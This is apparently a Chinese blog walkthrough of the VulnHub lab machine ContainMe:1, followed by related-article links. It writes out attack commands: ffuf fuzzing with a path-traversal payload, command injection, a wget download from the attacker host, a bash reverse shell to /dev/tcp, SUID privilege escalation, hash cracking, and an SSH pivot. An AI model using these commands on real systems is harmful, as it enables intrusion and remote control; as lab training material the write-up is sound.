vulnhub靶场之CONTAINME: 1
准备:
攻击机:虚拟机kali、本机win10。
靶机:CONTAINME: 1,下载地址:https://download.vulnhub.com/containme/THM-ContainMe-v4.ova,下载后直接vm打开即可。
知识点:命令执行、ffuf爆破参数、hxd使用、ida使用(逆向)、john爆破、可疑文件提权、mysql基本操作。

信息收集:
通过nmap扫描下网段内的存活主机地址,确定下靶机的地址:nmap -sn 172.20.10.0/24,获得靶机地址:172.20.10.3。

扫描下端口对应的服务:nmap -T4 -sV -p- -A 172.20.10.3,显示开放了22、80、2222、8022端口,开启了ssh、http服务。

目录扫描:
使用dirmap对80端口进行目录扫描,发现了index.php、info.php、index.html文件。

访问index.php返回一个目录信息,在其源代码信息中出现隐藏信息:where is the path ?,猜测这里应该是存在参数并且可能执行了ls -al之类的系统命令。

参数爆破:
使用ffuf进行参数爆破,命令:ffuf -u 'http://172.20.10.3/index.php?FUZZ=../../../../../../etc/passwd' -w /usr/share/seclists/Discovery/Web-Content/common.txt -fs 329,成功获得参数名称:path。最后的-fs是为了过滤下无用的返回信息,需要根据具体情况进行调整,这里使用-fs 329就可以。

使用获得path参数输入命令:;id或|id进行测试,发现确实存在命令执行漏洞。


获取shell:
测试时直接使用bash、nc无法反弹shell,通过echo写入脚本文件也是无法写入成功的,后来使用命令:ls -al /查看了下目录权限,发现只有/tmp目录才具有写入权限,但是使用echo往/tmp写入仍是失败。

后来只能在本地写好脚本然后开启http服务,通过命令执行漏洞下载该脚本,命令:;wget -P /tmp http://172.20.10.2:8000/shell.sh。然后通过命令:;ls -al /tmp可以查看上传的脚本信息。如果不确定上传的目录,可以通过ls -al /查看下具有写入权限的目录,不过一般/tmp都可以写入。
#!/bin/bash
bash -c 'bash -i >&/dev/tcp/172.20.10.2/6688 0>&1'

写入脚本文件后在kali端开启对6688端口的监听,命令:nc -lvvp 6688,然后利用命令执行漏洞使用bash进行执行shell.sh文件,命令:bash /tmp/shell.sh,成功获得shell权限。

尝试提权:
查看下当前账户是否存在可以使用的特权命令,sudo -l,但是这个方法这里行不通。

原来想去/home目录下查找下flag文件,但是在/home/mike目录下发现了一个可疑文件,执行该文件结果如下。

使用strings、strace查看或调试该文件信息,但是均失败,显示不存在该命令,想用python开启web服务下载该文件也是失败。

逆向代码信息:
那就只能查看下该文件的二进制数据,命令:xxd -ps /home/mike/1cryptupx。

使用hxd将十六进制编码恢复并导出为1cryptupx文件。

使用ida打开1cryptupx文件,查看下其代码信息并对代码信息进行分析,发现是当我们输入的密码与hash值比对正确时时会执行/bin/bash,那就将hash值复制下来进行爆破,命令:john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt,成功得到密码:mike。


提权至root:
加上密码:mike执行1cryptupx文件,但是返回的仍是www-data权限。

那我们查看当前用户下具有root权限的可执行文件都有哪些,命令:find / -perm -4000 -type f 2>/dev/null,发现了:/usr/share/man/zh_TW/crypt,看到名字和1cryptupx都具有crypt。

查看该文件权限显示当前账户具有可执行权限,使用获得密码:mike进行执行,成功获得root权限,但是未发现flag值,但是发现root后面显示是host1,猜测是否存在另一个虚拟镜像。

提权2:
查看主机ip发现两个新的ip地址:192.168.250.10、172.16.20.2,emmmm接着搞吧。使用nmap对该地址进行扫描,命令:nmap -sn 172.16.20.0/24,但是容器中未安装nmap,需要自己安装:apt install nmap,扫描完成之后发现了172.16.20.6。


扫描下主机172.16.20.6开放的端口对应的服务:nmap -A 172.16.20.6,显示开放了22端口和ssh服务。

虽然开放了ssh服务,但是我们缺少登录密码进行登录,但是在mike账户下发现了密匙信息,因此尝试下使用mike账户的密匙信息进行登录,命令:ssh mike@172.16.20.6 -i id_rsa,成功登录。

查看下当前开启的服务,命令:ss -tuln,发现了mysql服务。

这里尝试了下常用的弱密码,最后password成功连接数据库,命令:mysql -umike -ppassword,然后在account数据库中发现了root账户和mike账户的密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere。

利用获得密码信息:root/bjsig4868fgjjeog、mike/WhatAreYouDoingHere切换成root账户,然后在root账户下的/root目录下发现mike.zip文件。

解压mike.zip文件需要输入密码,尝试使用mike账户的密码:WhatAreYouDoingHere进行解密,获得解密后的文件并读取文件信息,成功获取到flag值。

vulnhub靶场之CONTAINME: 1的更多相关文章
- Vulnhub靶场题解
Vulnhub简介 Vulnhub是一个提供各种漏洞环境的靶场平台,供安全爱好者学习渗透使用,大部分环境是做好的虚拟机镜像文件,镜像预先设计了多种漏洞,需要使用VMware或者VirtualBox运行 ...
- VulnHub靶场学习_HA: ARMOUR
HA: ARMOUR Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-armour,370/ 背景: Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲 ...
- VulnHub靶场学习_HA: InfinityStones
HA-InfinityStones Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-infinity-stones,366/ 背景: 灭霸认为,如果他杀 ...
- VulnHub靶场学习_HA: Avengers Arsenal
HA: Avengers Arsenal Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-avengers-arsenal,369/ 背景: 复仇者联盟 ...
- VulnHub靶场学习_HA: Chanakya
HA-Chanakya Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chanakya,395/ 背景: 摧毁王国的策划者又回来了,这次他创造了一个难 ...
- VulnHub靶场学习_HA: Pandavas
HA: Pandavas Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-pandavas,487/ 背景: Pandavas are the warr ...
- VulnHub靶场学习_HA: Natraj
HA: Natraj Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-natraj,489/ 背景: Nataraj is a dancing avat ...
- VulnHub靶场学习_HA: Chakravyuh
HA: Chakravyuh Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-chakravyuh,388/ 背景: Close your eyes a ...
- VulnHub靶场学习_HA:Forensics
HA:Forensics Vulnhub靶场 下载地址:https://www.vulnhub.com/entry/ha-forensics,570/ 背景: HA: Forensics is an ...
- Vulnhub靶场——DC-1
记一次Vulnhub靶场练习记录 靶机DC-1下载地址: 官方地址 https://download.vulnhub.com/dc/DC-1.zip 该靶场共有5个flag,下面我们一个一个寻找 打开 ...
随机推荐
- Django django-admin.py 命令详解
一.Django 基本命令 下载 Django pip3 install django # 默认下载最新版 pip3 install django==4.1 # 手动选择版本 创建Djang ...
- 【学习笔记】RNN算法的pytorch实现
一些新理解 之前我有个疑惑,RNN的网络窗口,换句话说不也算是一个卷积核嘛?那所有的网络模型其实不都是一个东西吗?今天又听了一遍RNN,发现自己大错特错,还是没有学明白阿.因为RNN的窗口所包含的那一 ...
- 使用 Elastic 技术栈构建 K8S 全栈监控 -2: 用 Metricbeat 对 Kubernetes 集群进行监控
文章转载自:https://www.qikqiak.com/post/k8s-monitor-use-elastic-stack-2/ 操作步骤 git clone https://github.co ...
- 使用logstash同步Mysql数据表到ES的一点感悟
针对单独一个数据表而言,大致可以分如下两种情况: 1.该数据表中有一个根据当前时间戳更新的字段,此时监控的是这个时间戳字段 具体可以看这个文章:https://www.cnblogs.com/sand ...
- MySQL一致性读原来是有条件的
众所周知,在设定了隔离等级为Repeatable Read及以上时,InnoDB 可以实现数据的一致性读.换句话来说,就是事务执行的任意时刻,读取到的数据是同一个快照,不会受到其他事务的更新影响. 以 ...
- win10系统恢复默认的照片查看器
新建一个TXT文本文档,把以下代码复制粘贴到其中: 注:你可以根据需要按同样的格式增减或修改其中的图片格式代码 Windows Registry Editor Version 5.00 ; Chang ...
- 洛谷P2627 [USACO11OPEN]Mowing the Lawn G (单调队列优化DP)
一道单调队列优化DP的入门题. f[i]表示到第i头牛时获得的最大效率. 状态转移方程:f[i]=max(f[j-1]-sum[j])+sum[i] ,i-k<=j<=i.j的意义表示断点 ...
- ArrayList LinkedList Vector之间的区别
List主要有ArrayList,LinkedList和vector三种实现.这三种都实现了List接口,使用方式也很相似,主要区别在于其实现方式的不同! 这三种数据结构中,ArrayList和Vec ...
- TCP与UDP的联系与区别
TCP(Transmission Control Protocol,传输控制协议) 他是基于连接的协议,也就是说,在正式收发数据前,必须和对方建立可靠的连接. 这说明TCP连接是一个非常复杂的过程,需 ...
- python今日分享(内置方法)
目录 一.习题详解 二.数据类型的内置方法理论 三.整型相关操作 四.浮点型相关操作 五.字符串相关操作 六.列表相关操作 今日详解 一.习题详解 1.计算1-100所有数据之和 all_num = ...